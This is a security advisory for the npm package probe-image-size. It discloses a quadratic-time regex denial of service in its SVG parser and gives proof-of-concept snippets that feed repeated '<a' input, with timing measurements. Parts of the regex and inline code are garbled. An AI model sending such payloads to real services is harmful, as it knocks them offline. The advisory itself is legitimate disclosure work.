GHSA-gjj5-9665-rwrc probe-image-size: Quadratic-time Denial of Service in the SVG Parser

• npm probe-image-size: < 7.4.0 → fixed in 7.4.0

Overview `probe-image-size` scans the SVG header with a searching regular expression, `/]*>/`. On input that contains many ``, the engine restarts the `[^>]*` scan at every `' probe.sync(Buffer.from('<a'.repeat(100000), 'latin1')) ``` Streaming — the same payload split into chunks, slower per byte than the synchronous form: ```js const { Readable } = require('stream') const probe = require('probe-image-size') const payload = Buffer.from('<a'.repeat(32768), 'latin1') const chunks = [] for (let i = 0; i < payload.length; i += 4096) chunks.push(payload.subarray(i, i + 4096)) await probe(Readable.from(chunks)) ``` Measurements on the maintainer's machine: | path | input | time | | --- | --- | --- | | `probe.sync()` | 25 KB | 0.9 s | | `probe.sync()` | 50 KB | 5.5 s | | `probe.sync()` | 100 KB | 18 s | | `probe.sync()` | 200 KB | 54 s | | `probe(stream)` | 64 KB, 1 chunk | 1.6 s | | `probe(stream)` | 64 KB, 4 chunks | 2.9 s | | `probe(stream)` | 64 KB, 16 chunks | 9.6 s |